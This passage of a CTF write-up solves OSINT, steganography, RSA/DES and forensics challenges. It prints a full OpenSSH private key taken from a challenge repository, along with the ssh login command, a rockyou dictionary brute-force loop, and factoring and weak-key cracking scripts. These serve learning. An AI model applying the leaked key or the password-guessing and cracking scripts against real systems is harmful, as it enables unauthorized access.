```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command: ![](assets//images//luke_1.png) **Resources:*** Jsteg: https://github.com/lukechampine/jsteg ## DohDoh! Stupid steganography... **Note, this flag is not in the usual format.** Download the file below. [doh.jpg](assets//images//doh.jpg) **JCTF{an_annoyed_grunt}** **Solution:** With the challenge we get the following JPEG image: because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag: ![](assets//images//doh_1.png) **Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html ## Beep BoopThat must be a really long phone number... right? Download the file below. [flag.wav](assets//files//flag.wav) **flag{do_you_speak_the_beep_boop}** **Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code: ```46327402297754110981468069185383422945309689772058551073955248013949155635325 ```we can execute the following command to extract the number: `multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"` I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag: ![](assets//images//beep_boop.png) **Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes ## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one? Note, this flag is not in the usual format. Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt) **JCTF{gemmy_spinning_snowflake}** **Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman ``` but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file: ![](assets//images//snowman_1.png) these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work: ![](assets//images//snowman_2.png) After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy): ```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file``` by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern): ![](assets//images//snowman_3.png) **Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html ## My ApologiesNothing witty to say here... just that I am sorry. Note, this flag is not in the usual format. Download the file below.\[apologies.txt](assets//files//apologies.txt) **flag_i_am_so_sorry_steg_sucks** **Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message: ```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag: ![](assets//images//apologies.png) **Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/ ## Dead SwapThere is a flag in my swap! Download the file below.\[deadswap](assets//files//deadswap) **Post CTF Writeup** **flag{what_are_you_doing_in_my_swap}** **Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes: ![](assets//images//deadswap_1.png) but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too: ![](assets//images//deadswap_2.png) during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing): `xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev` the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action: ![](assets//images//deadswap_3.png) **Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm ## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time. Download the file below.\[wazaa.wav](assets//files//wazaa.wav) **Post CTF Writeup** **flag{do_that_bit_again}** **Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag: `python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000` in action: ![](assets//images//walkman.png) this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy. **Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py ## Old SchoolDid Dade Murphy do this? Note, this flag is not in the usual format Download the file below.\[hackers.bmp](assets//images//hackers.bmp) **Post CTF Writeup** **JCTF{at_least_the_movie_is_older_than_this_software}** **Solution:** With the challenge we are given a bitmap (bmp) file: ![](assets//images//hackers.bmp) bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command: `zsteg -a hackers.bmp` and in action: ![](assets//images//oldschool.png) ***# Cryptography ## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long... Download the file below.\[homework](assets//files//homework) **flag{xor_is_not_for_security}** **Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` : ![](assets//images/docxor_1.png) furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb: ![](assets//images/docxor_2.png) but if we look at a regular PNG file or Zip file we get the following bytes frequency: ![](assets//images/docxor_4.png) we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key. so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file: [xorred_homework](assets//files//xorred_homework) this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag: ![](assets//images/docxor_3.png) **Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages ## HomecookedI cannot get this to decrypt! Download the file below.\[decrypt.py](assets//files//decrypt.py) **flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}** **Solution:** Now we get with the challenge a python script: ```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()``` this script is used for decrypting the cipher but it doesn't seem to work well: ![](assets//files//homecooked.gif) it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000. Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script: ```python 3import base64import sympy num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def prime(num): return sympy.isprime(num) def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()```and by running this more efficient script we get the flag in a reasonable time: ![](assets//files//homecooked_2.gif) ## TwinningThese numbers wore the same shirt! LOL, #TWINNING! Connect with:\`nc jh2i.com 50013` **flag{thats_the_twinning_pin_to_win}** **Solution:** When we connect to server given we the challenge we are greeted with the following: ![](assets//images//twinning_1.png) we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... and I explained why it works and how we can break the cipher: >...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases... if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us: ![](assets//images//twinning_2.png) now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module): ```python 3from Crypto.Util.number import inverse p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain) ```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag: ![](assets//images//twinning_3.png) I guess that the challenge name and description is joking about the proximity of the primes... ## Ooo-la-laUwu, wow! Those numbers are fine! Download the file below.\[prompt.txt](assets//files//ooolala.txt) **flag{ooo_la_la_those_are_sexy_primes}** **Solution:** With the challenge we are given a text file, the text file contains the following: ```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983``` So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again: ![](assets//images//ooolala_1.png) and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that: ```python 3from Crypto.Util.number import inverse, long_to_bytes p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag: ![](assets//images//ooolala_2.png) ## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this? Download the file below.\[prompt.txt](assets//files//vase.txt) **Post CTF Writeup** **flag{does_this_even_count_as_cryptooo}** **Solution:** We this challenge we are given a text file with the following content: ```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=``` this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}``` I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e): ```python 3import base64from string import printable cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=') for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))``` and by running this script we get the flag: ![](assets//images//unvreakable_vase.png) **Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple ## DecemberThis is my December... Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext) **flag{this_is_all_i_need}** **Solution:** With the challenge we get the following python 3 script: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('flag.txt', 'rb') as handle: flag = handle.read() padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00') with open('key', 'rb') as handle: key = handle.read().strip() iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag) with open('ciphertext','wb') as handle: handle.write(ct)``` and the ciphertext: ```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7``` We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext. we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation: and in a formal representation: we can now notice the following attribute of using weak keys in this mode of operation: in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code: ```python 3from Crypto.Util.strxor import strxor data = open("ciphertext",'rb').read()IV = "13371337" print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get: ![](assets//images//december_4.png) it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file: [weak DES keys](assets//files//keys) and wrote this script to crack the ciphertext: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('ciphertext','rb') as handle: ct = handle.read() with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys] iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)``` and we get the flag: ![](assets//images//december_5.png) ## RaspberryRaspberries are so tasty. I have to have more than just one! Download the file below.\[prompt.txt](assets//files//raspberry.txt) **flag{there_are_a_few_extra_berries_in_this_one}** **Solution:**: With the challenge we are get a text file, the content of the text file is: ```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output: ![](assets//images//respberry.png) this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation: ```python 3from Crypto.Util.number import inverse, long_to_bytes primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257'] e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317 phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag: ![](assets//images//respberry_1.png) **Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function *** # Forensics ## MicrosooftWe have to use Microsoft Word at the office!? Oof... Download the file below.\[microsooft.docx](assets//files//microsooft.docx) **flag{oof_is_right_why_gfxdata_though}** **Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting: ![](assets//images//microsooft.png) so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor: ![](assets//images//microsooft_1.png) after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file: ![](assets//images//microsooft_2.png) and the file contains our flag: ![](assets//images//microsooft_3.png) ## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right... Download the file below.\[manure](assets//files//manure) **flag{this_flag_says_mooo_what_say_you}** **Solution:** run strings on manure and grep for the flag *** # Mobile ## 